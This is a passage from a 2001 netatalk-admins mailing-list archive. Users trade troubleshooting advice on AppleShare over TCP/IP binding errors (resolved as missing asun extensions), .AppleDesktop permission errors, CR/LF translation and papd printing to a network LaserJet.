	for netatalk.administrators-members@umich.edu; Mon, 19 Mar 2001 17:48:26 -0500 (EST)
Received: from abductee.12inch.com (smtp.visusmedia.com [38.241.102.2])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA22244
	for <netatalk-admins@umich.edu>; Mon, 19 Mar 2001 17:48:25 -0500 (EST)
Received: from [192.168.200.10] (sc-24-165-68-116.socal.rr.com [24.165.68.116])
	by abductee.12inch.com (8.9.3/8.8.7) with ESMTP id OAA09148;
	Mon, 19 Mar 2001 14:55:07 -0800
Mime-Version: 1.0
X-Mailer: Macintosh Eudora Pro Version 4.2.1-J
Message-Id: <v04210a00b6dc3baea47a@[192.168.200.10]>
In-Reply-To: <B6DBE358.2434%eric@metrotv.com>
References: <B6DBE358.2434%eric@metrotv.com>
Date: Mon, 19 Mar 2001 14:43:28 -0800
To: Eric Long <eric@metrotv.com>, Walt Reed <walt@terrascope.com>,
        <netatalk-admins@umich.edu>
From: alan premselaar <alien@12inch.com>
Subject: Re: Appletalk over IP not working
Content-Type: text/plain; charset="iso-2022-jp" ; format="flowed"
Content-Transfer-Encoding: 7bit

you *are* running netatalk 1.4b2 + asun, correct?

without the asun extensions to the netatalk package, it doesn't support 
appleshare over TCP/IP

At 4:24$B8a8e(B -0600 3.19.01, Eric Long wrote:
>Without any config file, it still gives me the same error.  Same thing if I
>just specify a machine name and port number.
>
>What's weird is that if I start atalkd as well (I currently just need afpd),
>then afpd will run, but I have no clue how it's running because it's not
>binding to any address or port.  I know this because I tried connecting when
>it was running and it didn't work.
>
>Whether or not afpd is running, I still see the "Can't assign requested
>address" message in my logs.
>
>Yes, my hosts.allow is configured correctly.  I'm currently allowing ALL
>connections to the box.  I have no way of telling if atalkd is actually
>working because this box is on another network and I'm setting this up
>remotely.  Just want to do appletalk over TCP/IP.
>
>-Eric
>
> > since the box has only one ip, what happens when you make the config:
> >
> > machine_name    -port 12001
> >
> > or nothing @ all?
> >
> > w
> >
> >
> > Eric Long wrote:
> >
> >> I tried that before, just tried it again, here's the error:
> >>
> >> netatalkbind: Can't assign requested address
> >> bind: Can't assign requested address
> >>
> >>> From the log file:
> >> afpd[6909]: main: atp_open: Can't assign requested address
> >>
> >> As for the IP, yes it looks a bit odd because I made a typo, it should be
> >> 168 not 158.
> >>
> >> -Eric
> >>
> >>>> I've followed the instructions, searched on the web, in past mailing 
>lists,
> >>>> etc. etc. and still cannot figure out how to get afpd to work.
> >>>>
> >>>> In my logs I get the following:
> >>>>
> >>>> main: atp_open: Can't assign requested address
> >>>>
> >>>> In my afpd.conf file:
> >>>>
> >>>> "MACHINE NAME" -tcp -ipaddr 192.158.1.1 -port 548
> >>>>
> >>>
> >>> try this:
> >>>
> >>> machine_name    -port 12001    -address 192.158.1.1
> >>>
> >>> also, your specified address (xxx.158.xxx.xxx) looks a bit odd.  do 
>you mean
> >>> xxx.168.xxx.xxx?
> >>>
> >>> w
> >>>
> >>>
> >
> >

----
  there's nothing like the undying sense of reliability provided by modern 
technology.
----
alan premselaar
alien@12inch.com
www.12inch.com

From netatalk.administrators-errors@umich.edu  Mon Mar 19 18:16:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA12694
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 19 Mar 2001 18:16:12 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA16041
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 19 Mar 2001 18:16:05 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA16013
	for netatalk.administrators-members@umich.edu; Mon, 19 Mar 2001 18:16:05 -0500 (EST)
Received: from smart.visp-europe.psi.com (smart.visp-europe.psi.com [212.222.105.5])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA15962
	for <netatalk-admins@umich.edu>; Mon, 19 Mar 2001 18:16:03 -0500 (EST)
Received: from ns09-n66-213.de.inter.net ([213.73.66.213] helo=athlet.deltaman.de)
	by smart.visp-europe.psi.com with esmtp (Exim 3.22 #1)
	id 14f8sh-0007JY-00
	for netatalk-admins@umich.edu; Tue, 20 Mar 2001 00:16:07 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.254])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id AAA10991
	for <netatalk-admins@umich.edu>; Tue, 20 Mar 2001 00:07:59 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: App copy problems (-50)
Date: Tue, 20 Mar 2001 00:01:46 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <sab5e311.050@keam1>
In-Reply-To: <sab5e311.050@keam1>
MIME-Version: 1.0
Message-Id: <01032000075800.10373@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id SAA12694

On Mon, 19 Mar 2001, Bryn Hughes wrote:
> I'm having problems copying 'Application' files to my YellowDog Linux 1.2 with netatalk-1.4b2+asun2.1.3.
> 
> Any time I try to copy an application file I get a -50 error.   My logs at that time show the following:
> 
> Mar 19 10:39:52 ccmf1 afpd[20189]: afp_addicon: Permission denied
> 
> I own this directory, I have full ownership of the .AppleDouble directory contained within it. 
> 
> What causes this?  This also happens on several other areas of the server.  All files other than this can be copied no problem!
> 
> Bryn

Who's the owner / what are the permissions of the ".AppleDesktop" dir (at top of the exported Apple Volume!)?
Does it exist at all?

Regards

	Carsten

From netatalk.administrators-errors@umich.edu  Mon Mar 19 18:30:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA13042
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 19 Mar 2001 18:30:24 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA28741
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 19 Mar 2001 18:30:24 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA28723
	for netatalk.administrators-members@umich.edu; Mon, 19 Mar 2001 18:30:23 -0500 (EST)
Received: from gromit.daemonize.com (adsl-63-204-212-186.dsl.snfc21.pacbell.net [63.204.212.186])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA28681
	for <netatalk-admins@umich.edu>; Mon, 19 Mar 2001 18:30:22 -0500 (EST)
Received: from paulkrohn.com (wallace.daemonize.com [10.77.1.3])
	by gromit.daemonize.com (8.9.3/8.9.2) with ESMTP id PAA18517
	for <netatalk-admins@umich.edu>; Mon, 19 Mar 2001 15:30:20 -0800
Message-ID: <3AB69674.1A4E8985@paulkrohn.com>
Date: Mon, 19 Mar 2001 15:29:56 -0800
From: Paul Krohn <pkrohn@paulkrohn.com>
X-Mailer: Mozilla 4.75C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; U; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Re: Appletalk over IP not working
References: <B6DBE358.2434%eric@metrotv.com> <v04210a00b6dc3baea47a@[192.168.200.10]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

the message: "afpd[6909]: main: atp_open: Can't assign requested
address" means the requested address that can't be assigned is the
appletalk address. the message goes away when you start atalkd, because
then afpd has something to bind to. 

one way to tell if afpd ahs indeed bound to port 548 is to telnet to
that port and see if you get an answer. should look something like this:

$ telnet x.x.x.x 548
Trying x.x.x.x ...
Connected to <machine name>.
Escape character is '^]'.

also, just so we're all clear, when you say "Just want to do appletalk
over TCP/IP", don't you mean appleshare over tcp/ip?

also, there has been a lot of discussion in tha past about properly
configured /etc/hosts files. is the interface you want afpd to bind to
named in /etc/hosts? it might be helpful to make sure both the client
and the server have proper forward & reverse dns entries, or at least
/etc/hosts entries.

> 
> At 4:24$B8a8e(B -0600 3.19.01, Eric Long wrote:
> >Without any config file, it still gives me the same error.  Same thing if I
> >just specify a machine name and port number.
> >
> >What's weird is that if I start atalkd as well (I currently just need afpd),
> >then afpd will run, but I have no clue how it's running because it's not
> >binding to any address or port.  I know this because I tried connecting when
> >it was running and it didn't work.
> >

<snip>

From netatalk.administrators-errors@umich.edu  Mon Mar 19 19:44:48 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA14355
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 19 Mar 2001 19:44:48 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA20884
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 19 Mar 2001 19:44:48 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA20866
	for netatalk.administrators-members@umich.edu; Mon, 19 Mar 2001 19:44:47 -0500 (EST)
Received: from keam1 (keam1.vcc.bc.ca [142.30.247.21])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id TAA20839
	for <netatalk-admins@umich.edu>; Mon, 19 Mar 2001 19:44:46 -0500 (EST)
Received: from VCC-Message_Server by keam1
	with Novell_GroupWise; Mon, 19 Mar 2001 16:46:14 -0800
Message-Id: <sab637d6.064@keam1>
X-Mailer: Novell GroupWise Internet Agent 5.5.4.1
Date: Mon, 19 Mar 2001 16:46:04 -0800
From: "Bryn Hughes" <bhughes@vcc.bc.ca>
To: <netatalk-admins@umich.edu>
Subject: Re: App copy problems (-50)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id TAA14355

The .AppleDouble directory does exist... ug+rwX.

On another share, the problem seems to have been caused by the .Parent file within .AppleDouble being given execute permissions.  Taking those away fixed the problem.  

The root level of this share is read-only to everyone, will this matter?  The .AppleDouble directory has its own permissions set obviously.

Bryn

>>> Carsten Neumann <deltor@snafu.de> - 3/19/01 3:01 PM >>>
On Mon, 19 Mar 2001, Bryn Hughes wrote:
> I'm having problems copying 'Application' files to my YellowDog Linux 1.2 with netatalk-1.4b2+asun2.1.3.
> 
> Any time I try to copy an application file I get a -50 error.   My logs at that time show the following:
> 
> Mar 19 10:39:52 ccmf1 afpd[20189]: afp_addicon: Permission denied
> 
> I own this directory, I have full ownership of the .AppleDouble directory contained within it. 
> 
> What causes this?  This also happens on several other areas of the server.  All files other than this can be copied no problem!
> 
> Bryn

Who's the owner / what are the permissions of the ".AppleDesktop" dir (at top of the exported Apple Volume!)?
Does it exist at all?

Regards

	Carsten



From netatalk.administrators-errors@umich.edu  Mon Mar 19 20:13:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA14795
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 19 Mar 2001 20:13:57 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA24788
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 19 Mar 2001 20:13:51 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA24771
	for netatalk.administrators-members@umich.edu; Mon, 19 Mar 2001 20:13:50 -0500 (EST)
Received: from hemi.metrotv.com ([209.98.153.188])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id UAA24742
	for <netatalk-admins@umich.edu>; Mon, 19 Mar 2001 20:13:49 -0500 (EST)
Received: (qmail 43701 invoked by uid 1009); 20 Mar 2001 01:29:15 -0000
Received: from excursion.metrotv.com (HELO ?209.98.153.38?) (209.98.153.38)
  by mail.metrotv.com with SMTP; 20 Mar 2001 01:29:15 -0000
User-Agent: Microsoft-Entourage/9.0.2509
Date: Mon, 19 Mar 2001 19:13:03 -0600
Subject: Re: Appletalk over IP not working
From: Eric Long <eric@metrotv.com>
To: alan premselaar <alien@12inch.com>, Walt Reed <walt@terrascope.com>,
        <netatalk-admins@umich.edu>
Message-ID: <B6DC0ABF.246B%eric@metrotv.com>
In-Reply-To: <v04210a00b6dc3baea47a@[192.168.200.10]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Thank you, sir.

I am not running netatalk 1.4b2 + asun, so this explains everything.  Sadly,
1.4b2 + asun from the FreeBSD ports package does not compile.  Yet another
thing to research.

Thanks.

-Eric

> you *are* running netatalk 1.4b2 + asun, correct?
> 
> without the asun extensions to the netatalk package, it doesn't support
> appleshare over TCP/IP
> 
> At 4:24?? -0600 3.19.01, Eric Long wrote:
>> Without any config file, it still gives me the same error.  Same thing if I
>> just specify a machine name and port number.
>> 
>> What's weird is that if I start atalkd as well (I currently just need afpd),
>> then afpd will run, but I have no clue how it's running because it's not
>> binding to any address or port.  I know this because I tried connecting when
>> it was running and it didn't work.
>> 
>> Whether or not afpd is running, I still see the "Can't assign requested
>> address" message in my logs.
>> 
>> Yes, my hosts.allow is configured correctly.  I'm currently allowing ALL
>> connections to the box.  I have no way of telling if atalkd is actually
>> working because this box is on another network and I'm setting this up
>> remotely.  Just want to do appletalk over TCP/IP.
>> 
>> -Eric
>> 
>>> since the box has only one ip, what happens when you make the config:
>>> 
>>> machine_name    -port 12001
>>> 
>>> or nothing @ all?
>>> 
>>> w
>>> 
>>> 
>>> Eric Long wrote:
>>> 
>>>> I tried that before, just tried it again, here's the error:
>>>> 
>>>> netatalkbind: Can't assign requested address
>>>> bind: Can't assign requested address
>>>> 
>>>>> From the log file:
>>>> afpd[6909]: main: atp_open: Can't assign requested address
>>>> 
>>>> As for the IP, yes it looks a bit odd because I made a typo, it should be
>>>> 168 not 158.
>>>> 
>>>> -Eric
>>>> 
>>>>>> I've followed the instructions, searched on the web, in past mailing
>> lists,
>>>>>> etc. etc. and still cannot figure out how to get afpd to work.
>>>>>> 
>>>>>> In my logs I get the following:
>>>>>> 
>>>>>> main: atp_open: Can't assign requested address
>>>>>> 
>>>>>> In my afpd.conf file:
>>>>>> 
>>>>>> "MACHINE NAME" -tcp -ipaddr 192.158.1.1 -port 548
>>>>>> 
>>>>> 
>>>>> try this:
>>>>> 
>>>>> machine_name    -port 12001    -address 192.158.1.1
>>>>> 
>>>>> also, your specified address (xxx.158.xxx.xxx) looks a bit odd.  do
>> you mean
>>>>> xxx.168.xxx.xxx?
>>>>> 
>>>>> w
>>>>> 
>>>>> 
>>> 
>>> 
> 
> ----
> there's nothing like the undying sense of reliability provided by modern
> technology.
> ----
> alan premselaar
> alien@12inch.com
> www.12inch.com
> 
> 


From netatalk.administrators-errors@umich.edu  Mon Mar 19 20:15:45 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA15014
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 19 Mar 2001 20:15:45 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA27145
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 19 Mar 2001 20:15:38 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA27134
	for netatalk.administrators-members@umich.edu; Mon, 19 Mar 2001 20:15:38 -0500 (EST)
Received: from hemi.metrotv.com ([209.98.153.188])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id UAA27106
	for <netatalk-admins@umich.edu>; Mon, 19 Mar 2001 20:15:37 -0500 (EST)
Received: (qmail 43743 invoked by uid 1009); 20 Mar 2001 01:31:03 -0000
Received: from excursion.metrotv.com (HELO ?209.98.153.38?) (209.98.153.38)
  by mail.metrotv.com with SMTP; 20 Mar 2001 01:31:03 -0000
User-Agent: Microsoft-Entourage/9.0.2509
Date: Mon, 19 Mar 2001 19:14:52 -0600
Subject: Re: Appletalk over IP not working
From: Eric Long <eric@metrotv.com>
To: Paul Krohn <pkrohn@paulkrohn.com>,
        "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Message-ID: <B6DC0B2C.246E%eric@metrotv.com>
In-Reply-To: <3AB69674.1A4E8985@paulkrohn.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> the message: "afpd[6909]: main: atp_open: Can't assign requested
> address" means the requested address that can't be assigned is the
> appletalk address. the message goes away when you start atalkd, because
> then afpd has something to bind to.

Understood.

> one way to tell if afpd ahs indeed bound to port 548 is to telnet to
> that port and see if you get an answer. should look something like this:
> 
> $ telnet x.x.x.x 548
> Trying x.x.x.x ...
> Connected to <machine name>.
> Escape character is '^]'.

Did that, didn't work.  See my message in response to another posting to
this list.  I do not have 1.4b2 + asun extensions installed.

> also, just so we're all clear, when you say "Just want to do appletalk
> over TCP/IP", don't you mean appleshare over tcp/ip?

Yes, of course.

> also, there has been a lot of discussion in tha past about properly
> configured /etc/hosts files. is the interface you want afpd to bind to
> named in /etc/hosts? it might be helpful to make sure both the client
> and the server have proper forward & reverse dns entries, or at least
> /etc/hosts entries.

/etc/hosts is fine as are forward and reverse dns.  I need to get past the
compiling errors of 1.4b2 + asun.

Thanks for the suggestions.

-Eric





>> 
>> At 4:24$B8a8e(B -0600 3.19.01, Eric Long wrote:
>>> Without any config file, it still gives me the same error.  Same thing if I
>>> just specify a machine name and port number.
>>> 
>>> What's weird is that if I start atalkd as well (I currently just need afpd),
>>> then afpd will run, but I have no clue how it's running because it's not
>>> binding to any address or port.  I know this because I tried connecting when
>>> it was running and it didn't work.
>>> 
> 
> <snip>
> 
> 


From netatalk.administrators-errors@umich.edu  Mon Mar 19 20:48:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA15627
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 19 Mar 2001 20:48:46 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA03558
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 19 Mar 2001 20:48:46 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA03550
	for netatalk.administrators-members@umich.edu; Mon, 19 Mar 2001 20:48:45 -0500 (EST)
Received: from clever.visp-europe.psi.com (clever.visp-europe.psi.com [212.222.105.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id UAA03527
	for <netatalk-admins@umich.edu>; Mon, 19 Mar 2001 20:48:44 -0500 (EST)
Received: from ns11-n67-082.de.inter.net ([213.73.67.82] helo=athlet.deltaman.de)
	by clever.visp-europe.psi.com with esmtp (Exim 3.22 #1)
	id 14fBGN-0006hj-00
	for netatalk-admins@umich.edu; Tue, 20 Mar 2001 02:48:43 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.254])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id CAA11509
	for <netatalk-admins@umich.edu>; Tue, 20 Mar 2001 02:43:48 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: App copy problems (-50)
Date: Tue, 20 Mar 2001 02:27:14 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <sab637d6.064@keam1>
In-Reply-To: <sab637d6.064@keam1>
MIME-Version: 1.0
Message-Id: <01032002434700.11470@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id UAA15627

On Tue, 20 Mar 2001, Bryn Hughes wrote:
> The .AppleDouble directory does exist... ug+rwX.

Once more:
I wrote (and meant) ".AppleDesktop".

DESKTOP, _not_ DOUBLE!
TOP OF DESK, not TWICE OF SINGLE! ;-)

Thats the database where the location of Apps and its icons are stored for the Creators of files.

> 
> On another share, the problem seems to have been caused by the .Parent file within .AppleDouble being given execute permissions.  Taking those away fixed the problem.  
> 
> The root level of this share is read-only to everyone, will this matter?  The .AppleDouble directory has its own permissions set obviously.
> 
> Bryn
> 
> >>> Carsten Neumann <deltor@snafu.de> - 3/19/01 3:01 PM >>>
> On Mon, 19 Mar 2001, Bryn Hughes wrote:
> > I'm having problems copying 'Application' files to my YellowDog Linux 1.2 with netatalk-1.4b2+asun2.1.3.
> > 
> > Any time I try to copy an application file I get a -50 error.   My logs at that time show the following:
> > 
> > Mar 19 10:39:52 ccmf1 afpd[20189]: afp_addicon: Permission denied
> > 
> > I own this directory, I have full ownership of the .AppleDouble directory contained within it. 
> > 
> > What causes this?  This also happens on several other areas of the server.  All files other than this can be copied no problem!
> > 
> > Bryn
> 
> Who's the owner / what are the permissions of the ".AppleDesktop" dir (at top of the exported Apple Volume!)?
> Does it exist at all?
> 
> Regards
> 
> 	Carsten

Regards, again

	Carsten

From netatalk.administrators-errors@umich.edu  Tue Mar 20 00:57:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA20860
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Mar 2001 00:57:18 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA08881
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Mar 2001 00:57:11 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA08868
	for netatalk.administrators-members@umich.edu; Tue, 20 Mar 2001 00:57:11 -0500 (EST)
Received: from soda.csua.berkeley.edu (soda.CSUA.Berkeley.EDU [128.32.43.52])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id AAA08843
	for <netatalk-admins@umich.edu>; Tue, 20 Mar 2001 00:57:10 -0500 (EST)
Received: from localhost (akopps@localhost)
	by soda.csua.berkeley.edu (8.11.1/8.11.1) with ESMTP id f2K5vGx31438
	for <netatalk-admins@umich.edu>; Mon, 19 Mar 2001 21:57:16 -0800 (PST)
	(envelope-from akopps@csua.berkeley.edu)
Date: Mon, 19 Mar 2001 21:57:16 -0800 (PST)
From: Akop Pogosian <akopps@CSUA.Berkeley.EDU>
To: <netatalk-admins@umich.edu>
Subject: Inconsistent cr/lf translation
Message-ID: <Pine.BSF.4.33.0103192151180.30913-100000@soda.csua.berkeley.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

I use netatalk-1.4b2+asun2.1.3 on Solaris 2.6

When I upload a text file from a mac to our server, the translation
doesn't happen and the file is filled with "^M" characters.  Now, when
I copy this file back to my mac, the lines are now delimited with
newlines. If I copy this file filled with newlines to the server, no
translation happens again. If I copy it back to the mac, the newlines
are finally replaced with the cartridge returns.

It seems to me that the translation happens only when the file is
copied -from- the server. Is this a normal behavior?



From netatalk.administrators-errors@umich.edu  Tue Mar 20 03:34:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA23344
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Mar 2001 03:34:46 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA08150
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Mar 2001 03:34:46 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA08139
	for netatalk.administrators-members@umich.edu; Tue, 20 Mar 2001 03:34:45 -0500 (EST)
Received: from amse.pair.com (amse.pair.com [209.68.2.55])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id DAA08116
	for <netatalk-admins@umich.edu>; Tue, 20 Mar 2001 03:34:44 -0500 (EST)
Received: (qmail 76706 invoked by uid 3013); 20 Mar 2001 08:34:43 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 20 Mar 2001 08:34:43 -0000
Date: Tue, 20 Mar 2001 03:34:43 -0500 (EST)
From: "j.g. ungar" <jungar@daemondia.com>
X-Sender:  <jungar@amse.pair.com>
To: <netatalk-admins@umich.edu>
Subject: postscript error printing to network PCL laserjet
Message-ID: <Pine.BSF.4.30.0103200326510.48279-100000@amse.pair.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII



I've got netatalk 1.5pre5 built from source on my RH7 (well, it started
out as a RH7 machine, now kernel 2.4.2) box working nicely, except for
printing from my mac (OS 9.04 box).

The printer is an HP LaserJet 6L (non-postscript) with an Edimax PrintSir
Plus (PS-900+) 'pocket size' print server attached. The Linux machine
prints just fine to this server via LPR, including PostScript (well, the
RH printtool test page works fine anyway).

My papd.conf is pretty minimal:

ophelia:\
	:pr=lp:


Unfortunately I can't print anything from the Mac. Syslog shows:

Mar 20 00:25:09 anubis papd[19861]: child 20140 for "ophelia" from
65345.119
Mar 20 00:25:09 anubis papd[20140]: read_ppd .ppd: No such file or
directory
Mar 20 00:25:10 anubis papd[20140]: lp_init: lock: No such file or
directory
Mar 20 00:25:10 anubis papd[20140]: lp_open failed
Mar 20 00:25:10 anubis papd[19861]: child 20140 done


Hmmm.  I'm not sure how to proceed in trying to get this working. At one
time I was able to print to this printer from the mac, using Netatalk, but
the printer was attached to the PC's parallel port, not on the network
with a print server as it is now.

Any suggestions ?



Thanks -


jonathan ungar



From netatalk.administrators-errors@umich.edu  Tue Mar 20 03:45:04 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA23458
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Mar 2001 03:45:04 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA17616
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Mar 2001 03:45:04 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA17608
	for netatalk.administrators-members@umich.edu; Tue, 20 Mar 2001 03:45:03 -0500 (EST)
Received: from amse.pair.com (amse.pair.com [209.68.2.55])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id DAA17593
	for <netatalk-admins@umich.edu>; Tue, 20 Mar 2001 03:45:03 -0500 (EST)
Received: (qmail 76973 invoked by uid 3013); 20 Mar 2001 08:45:02 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 20 Mar 2001 08:45:02 -0000
Date: Tue, 20 Mar 2001 03:45:02 -0500 (EST)
From: "j.g. ungar" <jungar@daemondia.com>
X-Sender:  <jungar@amse.pair.com>
To: <netatalk-admins@umich.edu>
Subject: Re: postscript error printing to network PCL laserjet
In-Reply-To: <Pine.BSF.4.30.0103200326510.48279-100000@amse.pair.com>
Message-ID: <Pine.BSF.4.30.0103200344260.48279-100000@amse.pair.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


> Unfortunately I can't print anything from the Mac. Syslog shows:

and I meant to mention, the mac just says "a postscript error has
occurred".


--


From netatalk.administrators-errors@umich.edu  Tue Mar 20 04:11:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA23772
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Mar 2001 04:11:55 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA13579
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Mar 2001 04:11:55 -0500 (EST)
Received: (from daemon@localhost)
